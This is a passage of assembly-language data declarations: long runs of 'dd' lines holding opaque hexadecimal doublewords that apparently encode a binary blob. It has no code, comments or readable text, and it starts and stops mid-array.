0B86AFC79h, 39685F65h, 0F3A82B76h, 0AE466DC5h dd 1660F73Dh, 30404E10h, 0FF46E51Ch, 21BE2E04h, 0BC814BD9h dd 1056BB8h, 4114BBC7h, 0D54D7004h, 7E3309BFh, 50BEEF3Ah dd 4F680A69h, 0B780302Ch, 0E9C7FE8Eh, 0B7B3B266h, 0A5CFEC7Eh dd 0F4FB3E43h, 8D4A3533h, 37C78CFAh, 0F6A1303Ah, 0FD2D9C96h dd 0F8CEFC0Ch, 1B413BF1h, 0EBD7338h, 80631120h, 0BDA83CD3h dd 7FC013C0h, 0D109E2EBh, 4D94F64Fh, 7B582727h, 55F54E5Bh dd 0EFD116D0h, 0E15E8C04h, 0E6A229ABh, 429530D8h, 0FDC7ABA2h dd 3C3EF9E1h, 234A5081h, 33A2ECBFh, 0FDE114FBh, 0E8C2B9BFh dd 3EF09981h, 0D259207Fh, 0E2EA8100h, 8974B15Eh, 40CA90D5h dd 0B40DB95Ch, 0C03CA029h, 812CA763h, 9EA2C93Ah, 0C561F8Ch dd 0F56D3A62h, 0F60DB92h, 40812983h, 9AEE14FCh, 58E71CC4h dd 0FABEBA50h, 760B672Dh, 0DEBF7AF2h, 2F2D5033h, 1FA83FE1h dd 31BBB4h, 0E2105D4Bh, 93266822h, 0E4005534h, 31EF67F7h dd 0AE917D1h, 0CD6CBEA0h, 847A27E9h, 5E72B268h, 1FEB7DC2h dd 33C0550Bh, 520288F3h, 8B0F167Fh, 0F5CC4A46h, 8916B9ECh dd 0C6B856F2h, 350D521Dh, 0E0C7520Ch, 77419639h, 6285CA09h dd 0B229310Ch, 20B94CA9h, 0EC882C33h, 49E71D60h, 96575BFEh dd 39F7FE65h, 803A595Ah, 266041A5h, 0D1B75BD9h, 456DC267h dd 4044B2F7h, 2546EBDCh, 0E17751FDh, 16B8CE40h, 7F6A7200h dd 402CD81h, 0F261F92Fh, 7BAE255Eh, 59D72B18h, 6636E24h dd 0F154022Dh, 220F4EFEh, 80EE3B09h, 10223A28h, 0CD28057Fh dd 4D2AD729h, 0F37FC033h, 0D381B12h, 6B86C80Eh, 0E38400CFh dd 0BD984D7Dh, 232C3D00h, 0DD98686Eh, 214A43B0h, 0A6B34585h dd 8C20913h, 0AC1D087Ah, 262EC48Dh, 957EBCECh, 589C3120h dd 0C0DC5414h, 814FB1ECh, 463A3169h, 60F18EF0h, 57C21962h dd 4D63B90Bh, 10D07630h, 7BB58C53h, 574E887Eh, 0F4B36CEFh dd 0C9810F9Dh, 0FD120252h, 48D820BEh, 2E27AD35h, 3224138h dd 0A726132Bh, 5E664C7Fh, 0BAD708A2h, 4090D99Dh, 135F3B11h dd 28E50AEBh, 10AAB27Ah, 3C738089h, 0D21370E3h, 888B471Fh dd 0A2F827EFh, 0B4F57585h, 0C11E5A5Eh, 20DF017Ah, 7595D9AAh dd 68421390h, 5D4F482h, 0F80A8312h, 8FB93A53h, 853D7745h dd 50CAB3B7h, 7EA6CD4Eh, 5B7858A3h, 6828FF23h, 81669759h dd 0B90C3498h, 187FDD34h, 0B80F139Ch, 4420BA6Fh, 4F17A003h dd 6BBB89A5h, 82E496A9h, 8B6C2FCFh, 7D15CC25h, 1CFA7C14h dd 9EF9B36Dh, 58C7F42Fh, 21BA15FAh, 0B57CBEA2h, 0B3058F38h dd 364AC60Ch, 68510336h, 3082757Ah, 0B890D87Dh, 81404596h dd 2F1626EFh, 54EA0EE4h, 0A0E90802h, 0BBAA826Bh, 75078955h dd 0FCBFEC14h, 20E851BBh, 0E89D6E91h, 824F77ECh, 103C3F68h dd 90DFF780h, 0C529777h, 5B94F390h, 46015F27h, 2FF03023h dd 680B99E6h, 94D77A89h, 6AE9129Bh, 59C8FEF3h, 32954B68h dd 0DECA5055h, 4EE3F85Fh, 0E443135Bh, 316941DCh, 30ED5D40h dd 254980A0h, 7CC82794h, 0A1BBC09Ah, 6600B420h, 0D5BD821h dd 1740389Ch, 4351E92Fh, 6C015A31h, 0E76BB310h, 93890F09h dd 0F28016E0h, 243C8A4Ch, 5C660948h, 58D0488Ah, 0CB809F76h dd 1F1E65C6h, 201C426Fh, 0E92C9597h, 2985B717h, 44B3AF58h dd 7DDC0969h, 2646953Bh, 0BC5512EEh, 8884F2ABh, 526E272Bh dd 9295C0BDh, 63F70D71h, 252C4F5Fh, 0D8292AECh, 0D269E63Eh dd 60E4FAA8h, 0F51A37A7h, 0C3817D01h, 820AE5CDh, 18CC2E82h dd 69FC4D33h, 0E93F08A0h, 9D7627Eh, 44550B0Fh, 3C7F97A9h dd 8CC05D7Ah, 0D3D80F5Bh, 0E96FCEA4h, 299ED34Eh, 4464FE4Eh dd 0F2312300h, 0A53D48E9h, 3F531FB6h, 38E87525h, 0F639BEB1h dd 0C0D914D1h, 0E14A73AFh, 0A40CB9BCh, 8826CE28h, 42A0DD4Bh dd 1CF6F0EEh, 0BCDE30D3h, 0E6C008E1h, 0D2896E05h, 0A326BA7Ch dd 0E93704CFh, 6909BA0Dh, 0C8D97D59h, 9230FA58h, 0B4CA504Fh dd 0E5174AA3h, 0B45F4192h, 49D2076Ch, 9FCFF227h, 0D656FAB2h dd 0E9545560h, 0D52BE73Bh, 0E862BFA6h, 0D1105FC7h, 0E2BF1BE9h dd 9DE5D548h, 44177E25h, 0DFBBEC5Ah, 0E9499C16h, 96E3DD05h dd 87EF50D1h, 0A3E6814h, 98A35A16h, 311D4F70h, 89D3FDE2h dd 0F72A652Bh, 0DB4A9AB1h, 5BDAE312h, 3AC26E07h, 61C84E62h dd 0FE0428D8h, 1C77EE82h, 6CC28016h, 5F14A7B0h, 0C6ECE886h dd 5A7102E8h, 31F388FDh, 0E5045E45h, 1514CBFFh, 5A54598Ch dd 45ED41FBh, 6B3F8F0Fh, 0CCAA1316h, 0B79448BCh, 89F18A00h dd 77205EFh, 3519D10Ah, 36B3528Dh, 0BF937455h, 0BA100480h dd 2DD80117h, 5E5D07A2h, 0FA28FA2Eh, 36E9E109h, 932D290Dh dd 0E85A15E8h, 954F592h, 2A39131Eh, 65856BA9h, 6199EA67h dd 0BE1C702h, 0A6CFE575h, 470F1B71h, 733573FFh, 80170E7Ah dd 78F3E388h, 0D64B4C10h, 32EAEA04h, 0D2B25202h, 0FED4EA80h dd 792FE9CAh, 0F1C24416h, 0D33F1BFDh, 0E0C1959Fh, 29E32F94h dd 174D571Fh, 0F206BB42h, 2D8EEFD1h, 6344F949h, 0F6EC12C9h dd 7AB12432h, 52C3F457h, 25254C5Dh, 0C6EC21D8h, 41B25180h dd 0A0D459Fh, 63A9651Dh, 83D05752h, 0F8BFC47Ah, 0FFC9E36h dd 0CD16F201h, 6430F927h, 98995D6Dh, 16780569h, 7E0502D0h dd 37AE241Fh, 0F807A02Ah, 0AD59121Ah, 3A4A0F64h, 0AC686AE1h dd 76316E12h, 35E5692Ah, 0AC2C243Ah, 1FBE85F5h, 0AC0E165Eh dd 8BEF123Ch, 86651212h, 34BA6F91h, 3868742Fh, 0F12D68B8h dd 0F4A14C61h, 37534B85h, 0C7730071h, 5F122549h, 0AD01D472h dd 3701756Ch, 0E0D1042Fh, 93C7FA08h, 0EBE248D1h, 26E98034h dd 8D427CF8h, 6FAB6CD6h, 92AD2E56h, 83327E05h, 2EE4C078h dd 0F16875Eh, 4F8459E9h, 4AF2708Ch, 1798FAA6h, 8B989ED2h dd 516649A8h, 0CF6D1302h, 0D483E902h, 0E7BE013Ch, 0EB44645Dh dd 5E7C809Ah, 0D90F77A5h, 0FE0E4D64h, 612A48D9h, 5D62FD9Ah dd 19E92A97h, 45755A8Bh, 2EC62FE0h, 0A84F205h, 0C0BB4250h dd 3B357EF5h, 1071E918h, 4852F847h, 0ED13C288h, 0C631BEACh dd 0D2CCD62h, 64020CB2h, 76E69471h, 2F008CE9h, 552B613h dd 1365348Dh, 0F5820F3Eh, 0BFA87A36h, 0F95FD0C6h, 0B313A42Ah dd 9F31030Fh, 7D80B232h, 0B216778Ah, 0A592209Bh, 671D16C4h dd 0A573C445h, 0B7850182h, 82DE285Bh, 0D725EE68h, 0AD80D696h dd 3927191Dh, 32B57A47h, 16577DA6h, 0C4BFA7C8h, 4F357717h dd 225614EEh, 0C655B500h, 3DBB5312h, 6CD22802h, 0DFF593E9h dd 0B32687A2h, 5468BA00h, 0AA314A79h, 506A18D1h, 0AF027C72h dd 313F891Ch, 97DD7C77h, 0B873C814h, 883B3900h, 1E8A2D43h dd 0D590A2FFh, 2D6A7232h dd 4C82F955h, 71496821h, 0C3E909F3h, 0D4C95D0Ch, 270FBE6Ch dd 557D62EBh, 249E7F3h, 4A096DAEh, 0B44B619Ah, 227B6800h dd 0D14D61C5h, 0B50A77ABh, 21029189h, 6AFC7AD0h, 8887E8F1h dd 909BE8Fh, 0F55C4BB5h, 866FA63Fh, 8E905FA8h, 2F30AD20h dd 2F80FB4h, 25CC073h, 0D51F1617h, 0BF2D3A91h, 13640CA6h dd 8892A047h, 207EE15Ch, 0FED89D4Ah, 13626725h, 505FFAAEh dd 38B905D7h, 0FB29C366h, 67E09341h, 0C9D97D4Fh, 7C1E63D8h dd 0CCE10345h, 0C10E370Dh, 594BB2B6h, 4B2952EEh, 5CF25530h dd 92B4501Eh, 39C3A553h, 820E2CB0h, 0DDF7829Fh, 5140EE87h dd 38138601h, 0E2EB29BCh, 0F031840Ch, 9D06ADAFh, 7716D7AFh dd 0A1DFA62Ah, 2A5ED177h, 542833C0h, 66021724h, 0F7D7AE5Ah dd 6AC58081h, 425DB17Ah, 0B558C003h, 38DAB83Dh, 0C7218B5Ch dd 4871D858h, 0B896B2C9h, 16EC646Ch, 2475C009h, 95F8FF57h dd 5EC5FE19h, 4DE92BC1h, 810FE909h, 0EBFBB820h, 0D8B5071Fh dd 14FD81FFh, 0CAD75D02h, 4FFF40C5h, 0FA244E2Fh, 34084510h dd 0B0AF0E5Ah, 0FC9F58A5h, 0C1E9D9A7h, 0F1F7C248h, 0C57C161Ah dd 84E6AF11h, 46F78009h, 54D967Dh, 0CFEA06BAh, 12F4E820h dd 0EE959EC8h, 40289404h, 0E3790845h, 460905E9h, 86F15BE0h dd 9005EBCCh, 60514153h, 1B123607h, 0B1AA6D4Fh, 810805F1h dd 24A49D2Dh, 8632698h, 89D8C133h, 0C02FE4AAh, 5C3C73AEh dd 0D0CF2922h, 0C153D111h, 14BFCF84h, 7CF50368h, 436297Fh dd 0F0F7700Ch, 4385BBCCh, 1B4A771Dh, 0C10FB158h, 1F5147B3h dd 0E116F1C3h, 5E3040D0h, 3A0B06B9h, 2AC129B4h, 119AEA07h dd 779B45ECh, 6185D082h, 9501CE75h, 9235967Fh, 171802DEh dd 0D5683ACBh, 0BED698D7h, 0E67247Eh, 95C60000h, 5682B5FDh dd 902669Eh, 6070271Fh, 0B75D9002h, 0C2C13792h, 0DDCC7B42h dd 93D16984h, 360D3D50h, 0E8D9290Bh, 495B0801h, 0D215E700h dd 992D3204h, 2982C667h, 95DFD0F3h, 6864907Fh, 303A5AA1h dd 9146FBAAh, 9A594B28h, 6C5EB60Ch, 12030C3Eh, 826FC74h dd 79A5BFA2h, 0BC2A3DE9h, 0CCB80FBh, 38402C20h, 0C83A0888h dd 0DA0B3F26h, 59C6DCAFh, 0B084285Bh, 9EA5A7E9h, 5C5254EAh dd 6B8304B6h, 92AF5870h, 0A4C12EF6h, 4B767091h, 16767713h dd 2D026DA8h, 42A572C8h, 12642DFh, 2AB1E907h, 0E8F17581h dd 701C9F53h, 0F7806604h, 0BEA590D9h, 80324E2h, 5A043554h dd 8BAA0B88h, 64BE5E76h, 0D2B3A692h, 1A30F6BAh, 5D5E0685h dd 795AE55Eh, 8E6089Fh, 0FCE78C2Dh, 546B17CCh, 0B00ABE7Ch dd 0C3408C6h, 5ABD92AFh, 13CFC7D6h, 4909E7A1h, 0A201C37Dh dd 0C780D7F6h, 5CF82B51h, 0CAE93F05h, 0CDCC4039h, 738A53AEh dd 2E56E9F7h, 3ED54941h, 0B9384D1Bh, 6E5C512Fh, 0E2816640h dd 260A4F64h, 0B8F87A76h, 6850D205h, 5AC2986h, 0F2BD0E9Fh dd 45ED3818h, 0CD0A1361h, 0C5002D4Ah, 3B887C1Fh, 0B4C280DFh dd 137417Fh, 1B3810EAh, 0E9F0125Dh, 59B58DE3h, 0B1A69Ah dd 0D407E09h, 992777B7h, 51C85F71h, 8E260F47h, 7DAFFD6Dh dd 0B46F93B8h, 7FDD4FCBh, 5DEFE3B0h, 75B57B0h, 0EBE471BCh dd 76EE15A1h, 0F0782746h, 4AE30641h, 5758C203h, 1387F355h dd 3EC19D51h, 58893EBDh, 5D250C7Eh, 0E106383Ah, 4C495F9Ah dd 0F2051A27h, 43D2572Fh, 5F8C0F09h, 8B76DC47h, 447E4EE6h dd 0C014C647h, 16E7EA80h, 43375CBEh, 8961EE06h, 5D010C01h dd 0E92EBB7Fh, 946F41C2h, 6A178002h, 3B50E66Eh, 0F60AFDEAh dd 88893D9Eh, 0A410E90Bh, 59C4C1AFh, 4E9F43C1h, 250F3EA8h dd 0A7D30922h, 2C1314ADh, 0C77BD55h, 9B644E8Ah, 2AF26C13h dd 56D74F04h, 92DEE904h, 0BC814E35h, 3BFD8907h, 21D603F8h dd 3C144897h, 86568910h, 97A75EDEh, 4E5CA84Ah, 52A8DE27h dd 0AFB97155h, 657FBA09h, 298388AAh, 65125F17h, 4EA09h dd 9853D138h, 1478952Fh, 1613BF3Eh, 0AC003C20h, 67CE228Dh dd 0B2EE54E9h, 4680052h, 5A5691F6h, 2FFDD331h, 0EF017294h dd 998AEF4Dh, 0C5ACD02Eh, 15281F88h, 46B5CF7Bh, 92492070h dd 46295933h, 7FE8BC6Eh, 7D5869F2h, 0BF954BDh, 35A2384Bh dd 37767493h, 5D64E066h, 8D803F2Bh, 0E925D057h, 0D90D2F50h dd 0A4C99EC0h, 0ED339E56h, 2C4AF9FCh, 2FB156Ah, 6F3D5D42h dd 5EC6EA82h, 893AD375h, 0E2F16996h, 0E419AF8Bh, 7DAB0BCDh dd 0A4F472DDh, 0E1AC0720h, 23056590h, 314CB075h, 49EB9716h dd 46025DB8h, 0FCCC6BE6h, 3659A200h, 8B0F4643h, 1125F75Ch dd 0F12F5F31h, 56CD2BA5h, 16FEB97Fh, 0AE6740F3h, 0BDE82D94h dd 23A93505h, 59C706BCh, 0EF03BF5Ah, 348D12E4h, 0BC4B401h dd 925D0809h, 0A6545F03h, 0B4FBC351h, 0B404E209h, 5B7BFD3h dd 0F9405756h, 0BE568012h, 2536205Ch, 46C9DD33h, 68CFD05Ch dd 0D9106026h, 2D0AC569h, 0A880387Fh, 0E908E140h, 0FC06DF27h dd 74195152h, 0F164A1Eh, 98AC1B85h, 0E538FB4Eh, 5B4701BEh dd 0ADE91E07h, 1C5B3255h, 0DD2F64FEh, 89978B1Eh, 0D77DA6Fh dd 1D175831h, 0D1EC2B0Ch, 167EF84Eh, 1B347422h, 6260B458h dd 3B14896Dh, 0BD0217F6h, 23FE5683h, 765DB340h, 5F6FFC2Ch dd 252E2904h, 9BDD5BFh, 6CA3F917h, 0B101F6E9h, 1206E781h dd 0FA407133h, 48ADDB31h, 0D43A8446h, 2961320Bh, 0C1AB85h dd 0BA525F08h, 231E33EBh, 0F0DBE9EDh, 0F830D0DBh, 21D52F82h dd 6861AB71h, 307A756Ch, 2C6ADA41h, 0CA315604h, 12EB0FE9h dd 0D33DBF5Bh, 0B9C8EC6Eh, 901D83Ah, 0AA505443h, 0FA04FD60h dd 0AB9650F8h, 0EB80C9D5h, 44391DCFh, 864FE9B0h, 9D58E80Ch dd 26F3B751h, 0CA605913h, 97FDF5E9h, 733B5F48h, 0B29B28Bh dd 0BE911055h, 0BC679D6Eh, 0F129163Fh, 0FC2B7B4h, 198D4A71h dd 3160B98Bh, 230B9FBFh, 0F1536F97h, 2D5B0014h, 63FA393Eh dd 5C82914h, 32E90907h, 0F30FA797h, 7A20CC72h, 0F580ACCh dd 174C500Dh, 31E5C13Eh, 0AAF855F9h, 0C2FAAE94h, 89FF4377h dd 27C57D42h, 0E8D06B12h, 3B227BF6h, 0CE000B4Fh, 2D1E3EBBh dd 0D19772E9h, 1579208h, 0DE2F4963h, 65E37030h, 4CEB4282h dd 0A0E6E67Eh, 0B1EF1CEh, 84E94F92h, 0FE774142h, 6E547925h dd 5AA5DC61h, 2D4E2C7Bh, 6B6E091Ch, 57D801C4h, 4EBE60BAh dd 60F3376h, 1CE150BFh, 0B8A929D6h, 0EE050B02h, 0F8DD2D43h dd 0F8012F9Ch, 2B4B1FF8h, 0FB7AD41h, 0BAECC191h, 8924B715h dd 0FFACAB1Ch, 133EA8D2h, 95A801F4h, 9846AAA5h, 28F5E44Dh dd 4AFC9C51h, 0C0ECFD58h, 3B31CAB8h, 2D78B75Fh, 68E98D61h dd 5D692E7Fh, 9457BD25h, 795C616Dh, 7C1DEC68h, 75E9C41Ch dd 0FE2F07B1h, 4C49EC1Eh, 3F1064E3h, 0D7B1F7BFh, 39FC2A74h dd 0C7C500AEh, 31D648FBh, 0B2CFFCEAh, 7FB63B33h, 0EA966693h dd 6425E2Ah, 0B07FE912h, 0F20BBA2Dh, 6034CE41h, 5F7E6869h dd 4317CC1Bh, 85EB1F48h, 4EA3417h, 0CA73BD3h, 1350185Ch dd 0A1430B61h, 0C9D5E640h, 3D79D90h, 2D94CD9Bh, 0F5B1340Ch dd 3D1170B6h, 770A7F90h, 0F314350Fh, 961A3B01h, 41DB290Dh dd 1CA0081Ch, 2D5D7E14h, 16551CE8h, 35199DE8h, 54878B33h dd 97C3EE58h, 0F7ED46B0h, 1F097E06h, 8128D501h, 66415A08h dd 0B34A3219h, 0CE68004Bh, 74882515h, 7A0E8398h, 64053231h dd 64815EF1h, 212B2EB7h, 0BEED891Ah, 97FB130Eh, 9C7377B7h dd 77E2A5B9h, 852C4F5Dh dd 0BB523FE9h, 40F7B0D8h, 0E639805Fh, 0C2CE97F2h, 84BEC00Ah dd 0BD6F689h, 8B43E046h, 403413D3h, 58B60441h, 257C466Eh dd 384A009Fh, 43762E44h, 225830Fh, 0C8FE31FAh, 5006552Ch dd 4A55D28Bh, 7BF16B2Ah, 0D531AF2Dh, 7ECD51B8h, 595A0BB2h dd 0ACAD49D4h, 56B25209h, 0EAB9827Fh, 2DB08CFh, 78320882h dd 22D5E462h, 0C5D9017Ch, 7AE98497h, 6708F438h, 8703E49Eh dd 4CD5F7EFh, 0D3078608h, 6F3FD652h, 4348DA81h, 2E5B6175h dd 0A22518E6h, 6B5FF242h, 285CC8DEh, 36759FFFh, 0E1B05B2Ah dd 60A27F5Fh, 5FE6558Fh, 9CB00C28h, 0B545B431h, 520003C1h dd 83076851h, 5901E528h, 2BC98071h, 0E0CFF1CCh, 3E08F4CAh dd 0C4255AD4h, 0E2588FFDh, 0E0D02ACDh, 9E78992Ch, 4A6A89F1h dd 7E4747D1h, 57550CD8h, 0ECCB20Ah, 4F2E9242h, 84D2ADA9h dd 0B302B766h, 0D1DD57DAh, 0A8494559h, 5B5D2E43h, 1A59F7E2h dd 2A00028Fh, 632D3E73h, 330A7200h, 1B364735h, 37E91262h dd 0DBB0460Ch, 3CA0064Bh, 0E9809033h, 9791B215h, 0C20095DAh dd 0F5DCF7Ah, 0BFE35780h, 145EA9BEh, 0BFF16CD3h, 0B9200885h dd 588CB9h, 0BB5323CEh, 10F5AA11h, 0B03F5297h, 930C4AB2h dd 0D1B9DDEBh, 15D36A93h, 0F7F316DFh, 0EADE00D6h, 0F4CC30Ah dd 0E8B78C73h, 806C631Ch, 0E74F8057h, 5EA06FB0h, 79F3A31Dh dd 2F093340h, 0C2E25FF8h, 35656055h, 6B441655h, 5880FA76h dd 2F563FBBh, 84570FE3h, 0F1BBEF4Ch, 5B2622F8h, 0E9C277E9h dd 0B0E8AA9Bh, 845F1586h, 8BF0EBF8h, 18BD53DFh, 80F98F1Fh dd 0C603F580h, 0E828A42Ch, 0C9E5A704h, 975C66B0h, 0DCFC04C8h dd 0B940EFD2h, 0BF2D6348h, 166517F4h, 25A30906h, 0C8DD07EAh dd 9EB81F9h, 676F6408h, 8A067FEh, 0E961FA91h, 0CC7BE697h dd 0E0F45226h, 4C5ECC4Bh, 7D2A5ECBh, 8A07A24Dh, 0E98152DDh dd 0ED292278h, 8C53A505h, 5554C04Eh, 0DF126AB4h, 83A028E9h dd 52045B01h, 1EC5FA23h, 3C90EC1Eh, 0E418954Dh, 8F580E27h dd 74DA045Eh, 0AED3645Eh, 2768B4C8h, 72F9494Dh, 524122B8h dd 5EB02834h, 306065E9h, 7C68530Ch, 3EFA250Fh, 79C065E0h dd 0C131D509h, 85F507EBh, 0B05739BDh, 0F30768B0h, 4E66B0F8h dd 782FF201h, 162AB820h, 54A1705h, 74C2299Bh, 9F98BE47h dd 3FB3497Eh, 3F69840Ch, 0C72D8022h, 9E4CC0DEh, 0FEB9D328h dd 0D00F8832h, 0B493EAD2h, 315E079Bh, 0FA70D4CFh, 79AA6916h dd 401ADA8Dh, 251E2742h, 0EB75471Ch, 6C0B622Ah, 819E09FCh dd 69441529h, 888BFE25h, 581C372Bh, 8968C30Eh, 0B57A987Dh dd 972AF49Bh, 501CEDC6h, 0BB31CAE9h, 6130DEF5h, 0C1450C4Eh dd 2D1405EDh, 53436D13h, 65CC6D04h, 3D4CE902h, 5A17C079h dd 637C6100h, 4101459Ch, 0AE0804CDh, 0E98278F8h, 0C6F5675Eh dd 80523037h, 3B8FC281h, 0CA8342FFh, 0B09087h, 18E959A6h dd 47B3A59Fh, 40BCAA01h, 0C930B3Ah, 5156016Bh, 2EF986E9h dd 90A90A56h, 0F495BF9Fh, 0FB4E9063h, 0C403F7D5h, 76EE0FBFh dd 7F121458h, 8C1A832Bh, 0CE554189h, 0D24B300Ch, 5DBF3448h dd 6E0088BEh, 56420B01h, 5E8476BEh, 0E5B4B06Dh, 0DF08E139h dd 0D4639FF8h, 72C83861h, 0E698D0F7h, 0D1AB454Bh, 8AD3018Bh dd 0CAF11BC8h, 58E76440h, 584AF6FAh, 50CBE67Eh, 40419902h dd 0E2328E0Fh, 0EBFEFA7Bh, 633E8053h, 77ACA061h, 1AA805C5h dd 0E2244BE9h, 374C33h, 382D4099h, 93B41BDh, 0CD312AA0h dd 0EC60AF10h, 0D41430DAh, 0DDF75009h, 85206E98h, 0D9E93772h dd 91356780h, 6070A617h, 2E12F7B0h, 0B9D00907h, 50B826ABh dd 5E77A76Fh, 2D898CE6h, 0F993D342h, 0D88813D3h, 1CE9D490h dd 759EAA9Dh, 1250CCCh, 0DEC6F5CBh, 0F1AA4025h, 515D8960h dd 89894CF9h, 92C1FDC1h, 107CF629h, 314C79A8h, 8F8117E6h dd 0CBA5B677h, 0E73F4FA1h, 41FE4B57h, 3D449E6Ch, 0DFB16B79h dd 0A6C5FA28h, 0E89513F9h, 83161038h, 7B8D2D02h, 0C85D0A8Ah dd 0A87736DCh, 947F05ADh, 785E8741h, 0AB649F30h, 0FA9CAB9Ch dd 3EE13C1h, 80DAFE53h, 0AC8EE90Bh, 303B1675h, 0BA169B07h dd 883D4913h, 3E2272Dh, 0BFC1801Bh, 7F5FF107h, 0C9FE5A07h dd 4F1BE1B3h, 0B0EAB80Ah, 452888B7h, 8FB06BF9h, 347597C3h dd 99E91A70h, 0F907704Fh, 2FCF82F0h, 0A40235Dh, 5DB2D18Fh dd 0F7ED072Bh, 0DCA5CED1h, 6D4DF47Bh, 0E4EC163Eh, 0F5943118h dd 18EE36FEh, 85911424h, 4A0ED19Ah, 0ED3641AAh, 7C77D13Ah dd 850BD930h, 0CA6CA99Eh, 1F046481h, 684AD3Bh, 571B63A7h dd 0B6A080Ch, 90266D9h, 0FF24E81Ch, 80DD7CAh, 0CA14170Ch dd 0E6E90A20h, 9BB9B80h, 0F2D55382h, 695CEADFh, 9C5679F1h dd 61049804h, 8ACA57FAh, 0AE90BFEh, 2023EE23h, 0FB20048Bh dd 0DD11A22Dh, 0CD66378h, 0E96FC0EBh, 2A9FAC53h, 0DF02974Ah dd 0E15F2A59h, 0A26B5A6Dh, 0DCBF808Dh, 0BFF7B7DAh, 0DDE05643h dd 7590EFE9h, 271ADBB5h, 0B417C4DEh, 0E235D640h, 985C651Ch dd 58209261h, 0ED2D2229h, 0CE68DD5h, 26F2A86Eh, 0D75A4559h dd 0D4C0E78Ch, 10B91A16h, 4C829417h, 2EF4F8ADh, 1383D6Bh dd 85FE0EEh, 10AF3A29h, 0E91D08C1h, 0BB34F056h, 0A0D4211h dd 4EBD138h, 786A903Eh, 0F15AFD6Fh, 1F1E28ABh, 20D57641h dd 0C05FDC24h, 0FA105D7Ch, 0F7504D62h, 0FC97948Ah, 0C7B604Ah dd 0DAFE5F51h, 0B5781C98h, 0F6AC994Bh, 6D214305h, 0DF338079h dd 376ED513h, 0D038A318h, 0A60C0403h, 84FC9051h, 0FB5F9577h dd 87A4D2A6h, 5D27080Ah, 0FFA5883h, 0F94B0E99h, 3182292h dd 5D1736CEh, 0E1F6B242h, 0A0BB5032h, 4E8CC901h, 71F02998h dd 2EF16F8Dh, 0B67443F5h, 4B54208Fh, 13FB7497h, 0C76AAC06h dd 0E820F588h, 95A39BE9h, 46E4B6C4h, 0B1260C1h, 0B02E5EA4h dd 782468EFh, 0E7897566h, 0F7D0AB62h, 0BF455C2Fh, 5038F257h dd 2002E61h, 7D353493h, 2F764E20h, 4B8583E9h, 8E52BD49h dd 82642943h, 644DCDB2h, 1217CBDh, 0EAC1717Dh, 70E2D102h dd 9128E1Bh, 2AEADBEh, 6BCEE9D0h, 929CABDCh, 0FCBEACEh dd 0DD24DCD0h, 53513400h, 0E7B5BCB7h, 857A3A61h, 1317CF4Dh dd 3D8471E9h, 50E95ACDh, 0EB0F943Ah, 0E72716B6h, 0A8F6AF48h dd 384FB717h, 1F32EA4h, 46294571h, 8903E6C1h, 0C04DE918h dd 0FB0BED5h, 31513876h, 0D421ABB2h, 45DDD2F6h, 0C5D042EAh dd 6CCF0889h, 18BBE90Fh, 2480EB7Bh, 0CC5180Dh, 49B552FBh dd 0E1A8944Ah, 917F2DC1h, 64AE3E20h, 0A50C1753h, 0CCED2F44h dd 0D304C7D0h, 8402E17Bh, 0C0C4029Ch, 0D8C04C42h, 31806046h dd 985D73EFh, 95E4F838h, 0ED7E98FDh, 76818262h, 30460C9Bh dd 26B9F7Ch, 68165716h, 9FF19948h, 88BE1E52h, 0EC4BB167h dd 2367DE90h, 81440FB2h, 0C15E40E5h, 4C820F3Fh, 0B4FC3B53h dd 68F630A1h, 0A15F8955h, 52D688AFh, 0E9E02C3Bh, 7D3AAF25h dd 4A964AEEh, 8CB53C2h, 1DB60D88h, 0AEC97F7Bh, 0E13B89ECh dd 0B7ABA82Eh, 5E2B37F2h, 31CF87C6h, 0FF4F547Fh, 2D495314h dd 3CC27193h, 0E258A10h, 12570D68h, 17A98FBFh, 4BA466C9h dd 0AE631EECh, 0DD97CBF1h, 0DE5BA4DAh, 0AAF716FFh, 27012638h dd 8AF65FFEh, 0F0E8E962h, 0CA515F42h, 7425E7Dh, 0FE3DAA68h dd 0FAF2520Dh, 5C81CDF6h, 0F512FE42h, 0EFD4F302h, 978F409h dd 32572793h, 2F807E00h, 18B91FB0h, 6880209Ch, 292B3C62h dd 73D0975Bh, 2C6C9AA1h dd 61FA4BA6h, 21FDF494h, 94E92FB2h, 0C0EEBF80h, 3134019Ah dd 58C2E5FBh, 0C6A6A050h, 62BA782Dh, 383A4611h, 0E4C673D7h dd 154D0FAh, 0C9BD2DF0h, 90715E5Bh, 0D83A04DDh, 905BC65Ch dd 0B42D67AEh, 0B6E9947Ch, 38985B6Fh, 0A82C5B50h, 0EBC0B481h dd 0E442669Ch, 0D8F54E29h, 4D5D34F2h, 935E28CAh, 9741E016h dd 0FEB0500h, 9E1F700Dh, 0D008A0CEh, 0F85F14F0h, 0ACF84FCFh dd 4AF0F85h, 2C92E8h, 800AE5B8h, 0D79AB00Eh, 0DBBFE0CEh dd 0FBE7CCA8h, 183D0707h, 12DFDFF7h, 6858B6C0h, 994C4BD6h dd 89BC7C5Dh, 0C4B3754Dh, 81FABED1h, 2EB9E355h, 5317C6Fh dd 685BDB40h, 0A3D39DF8h, 0D87B1A00h, 0FABE5611h, 0E8BF0B01h dd 9551F531h, 5D008048h, 2750642Dh, 10509D56h, 5C120783h dd 0C7332923h, 386CC957h, 0D2419988h, 4D45A2Fh, 6F0722F2h dd 0D4D7BB12h, 0EC126C44h, 541D131Bh, 83EA1856h, 8BD95E1Ah dd 3B8A34D9h, 5E5EF348h, 89A703BBh, 1D1C6664h, 0D5250AFBh dd 0AAF5569Bh, 5FB6EAF4h, 68BFD036h, 39B47587h, 6317FE65h dd 7EB9AF87h, 0C2097202h, 0E9BFB875h, 863B60F0h, 460AD5B9h dd 0CD01AB16h, 43A89A73h, 0D30B22EBh, 0C54533Eh, 1D143402h dd 7628F70Dh, 3E9A2508h, 0E985AD5Ch, 45E4A26Dh, 6E1B09C3h dd 0F07729C4h, 410882FCh, 912E64D3h, 791D49A0h, 55899EE4h dd 3628229Fh, 28422263h, 4F0AB800h, 9C2F588Ah, 0D695B85Eh dd 0E93CCCFDh, 0BA5D134Eh, 0FB94B18Ah, 0B9FD4C25h, 9DF7D1FBh dd 0C92C5E91h, 4B0FD77Fh, 0B1742E04h, 1C8BCC98h, 0F8BFFCB5h dd 0D6030E2Dh, 0F404821h, 0BDA3B68Eh, 6F202A72h, 18AEC13Ah dd 80289869h, 6252140Ch, 0B0EE293Eh, 5DF118D9h, 0E5F31C91h dd 167E0F73h, 20DDD497h, 0D85D481Dh, 0B3312B12h, 0ACDA182Ah dd 0E47EB65h, 13BED55h, 0E01312D7h, 9CC4412Dh, 2CBB07E7h dd 